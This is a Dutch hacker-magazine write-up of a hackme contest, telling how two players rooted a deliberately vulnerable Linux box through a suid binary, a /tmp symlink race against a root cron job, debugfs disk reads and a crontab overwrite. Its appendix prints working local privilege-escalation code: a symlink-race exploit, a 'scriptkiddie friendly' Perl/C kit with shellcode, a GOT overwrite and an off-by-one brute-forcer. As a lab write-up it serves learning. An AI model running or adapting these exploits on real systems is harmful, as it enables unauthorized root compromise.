[Home/Nieuws]  [Magazines]  [Meetings]  [Downloads]  [Redaktie]  [Geschiedenis]


De Takeover Hackme - Het Verslag
Door CoolVibe en Dvorak

Om 0:00 uur zou de hackme bak in de lucht worden gebracht, door enkele problemen met de installatie duurde dit echter tot een uur of een waarna wij (Coolvibe en dvorak) aan de slag gingen.

Bij het telnetten (nee, machine had nog geen ssh) naar de hackme machine werd ons mede gedeeld via de issue.net dat het mogelijk was om in te loggen met username guest password guest, wat wij natuurlijk deden. Hier deed zich direct de eerste hindernis voor, met behulp van een setje escape sequences eindigde onze terminal een verre van optimale staat. Voor windows gebruikers was dit (afhankelijk van hun telnet programma) een lastige hindernis, Linux/UNIX gebruikers hadden weinig problemen na gebruik van het 'reset' commando, of door zelf een terminal reset te echoen.

Eenmaal ingelogd met een bruikbare terminal konden wij de boodschap lezen die de hackme bak bouwers hadden achter gelaten: Het doel was om de inhoud /tmp/root-only.txt naar hackme@takeover.nl te sturen, degene die dit het eerste deed zou de winnaar zijn. Op de hackme bak telden enige (logische regels) zoals dat je de machine niet mocht DOSsen en dat je andere gebruikers hun gang moest laten gaan. Uit de mededeling bleek ook dat de hackme bak bouwers express een beveiligingsprobleem hadden ingebouwd in de hackme bak.

Wij begonnen onze aanval met het maken van een lijst met suid binaries in de hoop dat daar een vreemde entry tussen zou staan, te herkennen aan ofwel een nieuwe modificatie tijd ofwel omdat het een programma was dat wij niet kenden. Een entry voldeed inderdaad aan beide voorwaarden: /usr/bin/bcconfig, een suid bin binary met een modification date van rond half elf.

Na runnen van deze binary bleek dat hij een argument verwachte in de vorm van een file om te editen. Wij gebruikten /etc/hosts, maar dat maakte voor de rest weinig uit. Hierna kwamen wij terecht in elvis om de file te editen, het vermoeden was dat bcconfig zijn euid bin privileges niet tijdelijk weggooide en dus probeerden wij een shell op te starten vanuit vi helaas bleek dit niet een euid bin shell te zijn. De reden hiervoor was dat wij bash als shell gebruikten en deze dropt zijn euid privileges als zijn euid anders is dan zijn uid. Om dit op te lossen gebruikten wij zsh als shell en dat leverde inderdaad een euid bin shell op. Dit was mogelijk door het SHELL environment variabele te veranderen naar de gewenste shell.

Nu wij bin waren gingen wij opzoek naar iets dat de user bin mocht wat andere users niet mochten, er bleken geen kritieke files te zijn die van bin waren en dus zochten we verder. Het bleek dat de user bin in de groepen bin en daemon zat ervan uitgaande dat we vanuit een van deze twee groepen wel verder zouden komen probeerden we daarin te komen. newgrp daemon zou normaliter de oplossing moeten brengen, helaas moet daarvoor je uid bin zijn en niet alleen je euid. Dit leek een onoverkomelijke barrière maar uiteindelijk plopte er toch in ons hoofd een oplossing te voorschijn (na 30 a 45 minuten denken en frutten) met behulp van de systemcall setreuid(1,1) werd ook onze uid bin waarna naar believen group daemon en bin konden worden. Wij dankten man(1), apropos(1) en whatis(1) op blote knieen en gingen verder.

Na een tijd zoeken naar wat groep bin en daemon meer mochten dan een normale user bleek dat er niets was dat zij extra mochten en zaten we dus vast.

We zochten verder naar een andere route om root te worden. Tijdens het werken op de hackme bak viel ons op dat er om het kwartier twee nieuwe bestanden verschenen in /tmp met de naam: /tmp/binchecker.%d.[01]. De rootgebruiker was de owner van deze bestanden en zij hadden de 666 (rw-rw-rw-) als permissies. Het programma /usr/sbin/binchecker bleek verantwoordelijk voor deze files, waarschijnlijk werd het ieder kwartier aangeroepen via een cronjob. Na kort naar deze file gekeken te hebben bleek dat het /tmp/binchecker.$$.0 en .1 ($$ in perl en bash staat voor de current pid) aanmaakte met behulp van de volgende systemcalls: fd = open(file, O_RDWR|O_CREAT|O_TRUNC, 0666); fchmod(fd, 0666); en dat het dus symbolic links volgde en bestanden overschreef (truncate). De files verdwenen ook veer na een paar minuten. De tempfile die binchecker aanmaakte bevatte wat ascii tekst wat niet belangrijk was voor de rest.

Hierna zijn wij een tijd (lees een paar uur ofzo) bezig geweest om op het goede moment de symbolic links te zetten met de juiste PID er in. Omdat wij probeerden om het vlak voor dat de files werden aangemaakt te doen (omdat we anders bang waren dat anderen onze methode zouden zien (volkomen onterechte angst)) waren wij steeds te laat en moesten wij weer een kwartier wachten (*grmbl*). Daar kwam ook nog es bij dat wij toen de schuld kregen van het DOSsen van de machine omdat veel mensen hun dingen in /tmp deden. Wel lastig werken als in je directory ineens tig duizend symlinks staan. Ook erg vervelend is het als een zootje van die kiddies /dev/urandom naar jouw tty aan het catten is en als je iedere keer lastig wordt gevallen door write(1). (Of als je telnetverbinding iedere keer vastliep met een timeout, wat coolvibe nogal vaak gebeurde, tot zijn ergenis)

Toen het ons uiteindelijk lukte om de symlinks goed te plaatsen besloten wij /usr/sbin/in.rlogind te overschrijven aangezien deze vanuit inetd werd aangeroepen met root privileges. Dit werkte uitstekend, het leverde een world writable in.rlogind op, helaas hadden wij er niet aan gedacht dat in.rlogind natuurlijk wel executable moest zijn om te kunnen worden aangeroepen door inetd, en dat was hij niet dankzij de chmod(fd, 0666). (Ja, lachen mag... deden wij ook :P)

Het volgende slachtoffer was /etc/shadow, deze wilde wij in eerste instantie niet gebruiken omdat als er iets mis zou gaan we mogelijk het systeem niet meer in zouden kunnen maar goed, toch geprobeerd. We hadden een backup gemaakt, een inetd backdoor neergezet en het was afwachten. De symlink stond er op het goede moment maar het bleek dat /etc/shadow niet world writable was geworden. Coolvibe kwam gelukkig op het idee dat dit kon zijn omdat /etc/shadow gechattered was, en dit bleek het geval. Chattr is zo'n fantastisch ext2fs(linux)-only tooltje waarmee je files immutable (onmuteerbaar/onveranderbaar) kan maken, zelfs voor root. De enige manier dat root die files kan wijzigen is door eerst die immutable vlag van een file af te halen. Daarom werd /etc/shadow niet overschreven. Dus gingen we op zoek naar bestanden die niet deze vervelende eigenschap hadden. De enige files in /etc die niet gechattered waren bleken /etc/hosts en /etc/group te zijn. Wij besloten voor /etc/group te gaan en dat werkte. We hadden er natuurlijk eerst een backup van gemaakt.

Nu wij ons aan elke groep konden toevoegen keken wij uit iets dat ons root zou opleveren via een van de groepen. Wat we probeerden van /home/ftp/bin/ls te wijzigen in de hoop dat deze door de ftpd werd gerund met root-privileges, dit bleek niet het geval (we hebben nog steeds geen idee waarom niet, chrooted environment was het, als we hem vervingen kregen we geen output meer via LIST dus blijkbaar deed hij iets met /home/ftp/bin/ls maar deze weigerde iets te doen (en was static gecompiled, iemand een oplossing?)).

Aangezien we op dat moment geen manier konden vinden om root te worden besloten we om dan maar direct voor /tmp/root-only.txt te gaan, root owned en mode 400. Wij voegden user bin toe aan groep disk zodat we /dev/hda1, het root filesysteem waarop ook /tmp stond, konden lezen en met debugfs lazen wij daarna /tmp/root-only.txt. Op dat moment hadden we de hackme contest in principe gewonnen. In /tmp/root-only.txt stond de weg die gevolgd moest worden om root te worden: /usr/bin/bcconfig had een command line bufferoverflow en die zou geexploit moeten worden, dit hadden wij niet gedaan aangezien wij middels vi als euid bin waren. Vervolgens zou je /usr/sbin/binchecker moeten overschrijven en moeten wachten tot hij door de root-crontab werd uitgevoerd, helaas bleek hier een foutje gemaakt te zijn, /usr/sbin/binchecker was niet van user bin dus deze stap was onmogelijk.

Okee, dus we hadden de objective van de hackme voltooid. Maar... No root, no glory. We wilden root, al zou ons dat nog de hele dag kosten. We gingen verder. Na wat brainstormen en wat testjes waren we eruit. Lees verder:

Nu we de gehele disk konden lezen met debugfs konden we ook zien wat er in de crontab van de root stond en waar deze stond. We hebben toen dus deze crontab overschreven met behulp van de symlink bug in binchecker en dit leverde uiteindelijk toch nog de felbegeerde root access op door onze eigen crontab daar neer te zetten die ergens een rootshell neertiefte.

Toen hadden wij root zijn wachtwoord veranderd en een eigen versie van /etc/issue.net neergezet, waarin we mensen aandrongen om de machine nog een keer te hacken en die lame issue.net van ons weg te halen. Ook leek het ons een goed idee om ssh op de hackme te installeren.

We waren nog wel een tijdje bezig om de shells van lamers af te schieten die onze exploits aan het gebuiken waren. De een was bezig de boel op te ruimen en in oude staat te brengen, de ander was bezig als een gefreakte BOFH in bitch-mode met teveel Jolt Cola in zijn systeem. Alle pty's die we niet kenden werden afgeschoten, en na onze eigen users aangemaakt te hebben logden we in onder onze eigen gebruikersnaam en gingen we een scriptkiddie friendly versie maken van onze exploits. Dvorak was bezig met het uitbreiden van de hackme met een tweetraps exploit waarbij je twee programma's met verschillende soorten buffer overflows (een return into libc en een normale geloof ik) ook root kon worden. Uiteindelijk is het twee mensen en een groepje mensen gelukt om deze hindernis te nemen zodat ook zijn root hadden, het is echter (voor zover wij weten) niemand behalve ons gelukt om de machine te rooten via de bugs die er oorspronkelijk inzaten.

Na een tijdje kwam de organisator van de hackme langs om te kijken wat wij gepresteerd hadden. We gaven hem het root wachtwoord en lieten hem de inhoud van de root-only.txt zien. Mailen ging niet want hackme@takeover.nl gaf een bounce terug. Waar de organisatoren vooral over te spreken waren was het feit dat wij het dus op een compleet andere manier hadden gedaan dan in hun root-only.txt stond, en dat zonder 1 buffer overflow exploit te hoeven schrijven (wat het dus een echte hack maakte, want dat was niet de bedoeling :).

Einde hackme :)

Greets gaan naar: {}, DaP/bware/rest van organisatoren, de fabrikanten van Jolt Cola, alle rare hackers bij #phreak.nl, onzelf en natuurlijk iedereen die denkt dat die ook gegroet moet worden... (behalve Gerrie dus)

Ohja... een behoorlijke shoutout naar de organisatie van het complete evenement. We hebben onzelf kostelijk vermaakt. Dank jullie wel. De demoscene gaat inderdaad leuk samen met de UNIX security scene :)

Bijlagen:

Aangezien wij niet zo slim waren geweest om onze code van de hackme bak te kopiëren kunnen we deze helaas niet laten zien, ook hebben we helaas geen logs van al onze activiteiten etc. Volgende zullen we proberen dit beter te doen ;). Maar gelukkig kunnen we wel het een en ander laten zien.

De eerste stap van dvorak's tweestapraket
------ CUT ---- vuln1.c ---- CUT ------
int main(int argc, char *argv[])
{
  char *p;
  char buf[101];
  strcpy(buf, argv[1]);
  strcpy(p, argv[2]);
  exit(0);
}
------ CUT ---- vuln1.c ---- CUT ------
Niet de orginele vuln2.c maar een opnieuw gebouwde versie aangezien ik het origineel niet meer had
------ CUT ---- vuln2.c ---- CUT ------
void safe_strcpy(char *str)
{
char buf[0x100];
int i = 0;

while ((*str) && (i < 0x100)) {
buf[i++] = *str++;
};
/* NULL terminate the string */
buf[i] = '\0';
return;
}

int main(int argc, char *argv[]) {
/* Hmm... hier moet dus nog exploitcode komen... volgens go.pl moet
   deze exploit te pakken zijn door een off-by-one bug door sfp te gebruiken.
*/
safe_strcpy(argv[1]);
return 0;
}
------ CUT ---- vuln2.c ---- CUT ------

De symlink bug exploit, in C, door dvorak. Coolvibe had een perl versie, maar die heeft hij niet meer. Ze deden allebei ongeveer hetzelfde trouwens.

------>%------->%---symlink.c--->%------->%-------
#include <time.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/stat.h>


char *source;

int seconds_to_sleep(void)
{
time_t tijd_secs;
struct tm *tijd_splitted;
time(&tijd_secs);
tijd_splitted = localtime(&tijd_secs);
printf("u: %d, m:%d, s:%d\n", tijd_splitted->tm_hour, tijd_splitted->tm_min, tijd_splitted->tm_sec);
return ((4 - (tijd_splitted->tm_min % 5)) * 60) + (60 - tijd_splitted->tm_sec);
}

void mk_syms(void)
{
int err;
pid_t pidje = 666;
int i;
char dest[100];


if ((pidje = fork()) == 0) {
exit(0);
}
wait(NULL);
for (i = 0; i < 30; i++) {
sprintf(dest, "/tmp/binchecker.%d.1", ((pidje + i) & 0x7fff));
err = symlink(source, dest);
if (err != 0) {
printf("%d \n", err);
}
}
sleep(10);
for (i = 0; i < 30; i++) {
sprintf(dest, "/tmp/binchecker.%d.1", ((pidje + i) & 0x7fff));
err = unlink(dest);
if (err != 0) {
printf("%d \n", err);
}
}
}

int main(int argc, char *argv[])
{
int wait_this_long;
int err;
struct stat status;

if (argc < 2) {
printf("Usage: ./symlink file to chmod 666 on // create\n");
exit(0);
}
source = argv[1];
while (1) {
wait_this_long = seconds_to_sleep();
printf("Waiting: %d min %d secs\n", wait_this_long / 60, wait_this_long % 60);

while (wait_this_long > 5) {
sleep(5);
wait_this_long -= 5;
printf(" %d:%02d",wait_this_long / 60, wait_this_long % 60);
fflush(stdout);
}
printf("\n");
mk_syms();
err = stat(source, &status);
if (err != 0) {
printf("Error statting %s after possible succes\n",source);
} else {
if (status.st_mode == 0100666) {
printf("SUCCES: %s is mode 0666\n", source);
exit(0);
} else {
printf("retrying...\n");
printf("%o is mode\n", status.st_mode);
}
}
}
}
----end----

De scriptkiddie friendly oplossing voor de tweetrapsraket, door dvorak, in perl en C

------->%-------go.pl------->%-------
#!/usr/bin/perl

print "Compiling necesary programs..\n";
#
# Setting ip shellcode, courtesy of Aleph1
#
$src = << '__EOF_SRC_';
char shellcode[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\
x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\
x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh";
__EOF_SRC_
open SRC, ">shellcode.h";
print SRC $src;
close SRC;

#
# Exploit code for /bin/vuln, based on GOT overwriting
#
$src = << '__EOF_SRC_';
#include "shellcode.h"
#include <stdio.h>

int main(int argc, char *argv[])
{
int write_to;
int *p;
char buffer[300];
char buffer2[300];

memset(buffer, 'A', 104);
p = (int *) (buffer+104);
*p++ = strtoul(argv[1], 0, 0);
*p++ = 0;
p = (int *) (buffer2);
*p = (strtoul(argv[1], 0, 0) + 4);
memcpy(buffer2 + 4, shellcode, strlen(shellcode));
if (argc > 2) {
fprintf (stderr, "Using %s as shell.\n", argv[2]);
memcpy((buffer2 + 4 + strlen(shellcode)) - 7, argv[2], 7);
}
execl("/bin/vuln","gimme root in 5 4 3 2 1 NOW", buffer, buffer2,0);
printf("exec failed\n");
}
__EOF_SRC_
open SRC, ">vuln_expl.c";
print SRC $src;
close SRC;

#
# Wrapper that moved euid -> uid en egid -> gid;
#
$src = << '__EOF_SRC_';
#include <stdio.h>

int main(void)
{
    fprintf(stderr, "stage setuid\n");
    setreuid(geteuid(), geteuid());
    setregid(getegid(), getegid());
    execl("./vuln2.pl", "blaat going donw", 0);
}
__EOF_SRC_
open SRC, ">stage2setuid.c";
print SRC $src;
close SRC;

#
# Code to make a /tmp/sh which does euid -> uid and egid -> gid
#
$src = << '__EOF_SRC_';
int main(void)
{
    setreuid(geteuid(), geteuid());
    setregid(getegid(), getegid());
    execl("/bin/sh", "sh", 0);
}
__EOF_SRC_
open SRC, ">setuidsh.c";
print SRC $src;
close SRC;

#
# Perl script to bruteforce /bin/vuln2, which is based on a off-by-one bug
# exploitation using sfp
#
$src = << '__EOF_SRC_';
#!/usr/bin/perl
$egg = "\x90" x 1500;
$egg .= "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f";
$egg.= "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd";
$egg.= "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh";
foreach $key (keys %ENV) {
    delete $ENV{$key};
}
$ENV{"egg"} = $egg;
$buf="";
for ($i = 0; $i < 220; $i++) {
    $buf .= "\x8f\xff\xff\xbf";
}
print "You'd better have a shell in /tmp/sh.\n";
print "\nBrute forcing for 10 seconds (most of the time you'll\n";
print "hit in much less time have fun.\n";
eval {
    local $SIG{ALRM} = sub { die "timeout" };
    alarm 50;
    while (1) {
        $ret = system("/bin/vuln2 $buf");
        $ret /= 256;
        if ($ret == 0) {
            print "Succesfull try detected..\n";
            exit(0);
        }
        $ENV{"a"} .= "a";
    }
    alarm 0;
};
print "Non succesful try please contact auteur of exploit.\n";
__EOF_SRC_
open SRC, ">vuln2.pl";
print SRC $src;
close SRC;
system("chmod +x ./vuln2.pl");

system("make vuln_expl");
system("make stage2setuid");

$our_tmp_sh = 0;
if ( ! -x "/tmp/sh" ) {
    print "No /tmp/sh found seting up our own ... ";
    system("gcc -o /tmp/sh setuidsh.c");
    $our_tmp_sh = 1;
    print "done.\n";
};


open COMMA, ">command.tmp";
print COMMA "disass exit";
close COMMA;
open OUTPUT, "gdb -batch -x command.tmp /bin/vuln |";

chomp($cwd = `pwd`);
print "Current dir: #$cwd#\n";

unlink "/tmp/yy";
symlink "$cwd/stage2setuid", "/tmp/yy";
while (<OUTPUT>) {
if (/^0x/) {
s/[^*]*\*(.*)$/$1/;
$GOT = $_;
printf "Got addr: $GOT\n";
system "./vuln_expl", "$GOT", "/tmp/yy";
print "I hope you enjoyed your stay in # land\n";
                print "Cleaning up ... ";
for $i ("/tmp/yy", "vuln_expl", "stage2setuid", "command.tmp",
                        "shellcode.h", "setuidsh.c", "stage2setuid.c",
"vuln2.pl", "vuln_expl.c") {
                    unlink "$i";
                }
  if ($our_tmp_sh == 1) {
                    unlink "/tmp/sh";   
}
                print "done.\n";
exit 0;
}
}


De informatie in 't Klaphek dient slechts een educatief doel. Gebruik van deze informatie zou strafbaar kunnen zijn. De redaktie wijst iedere verantwoordelijkheid voor gebruik door lezers van de in 't Klaphek opgenomen informatie af. De mening van een auteur weerspiegelt niet noodzakelijkerwijs de mening van de redaktie of uitgever.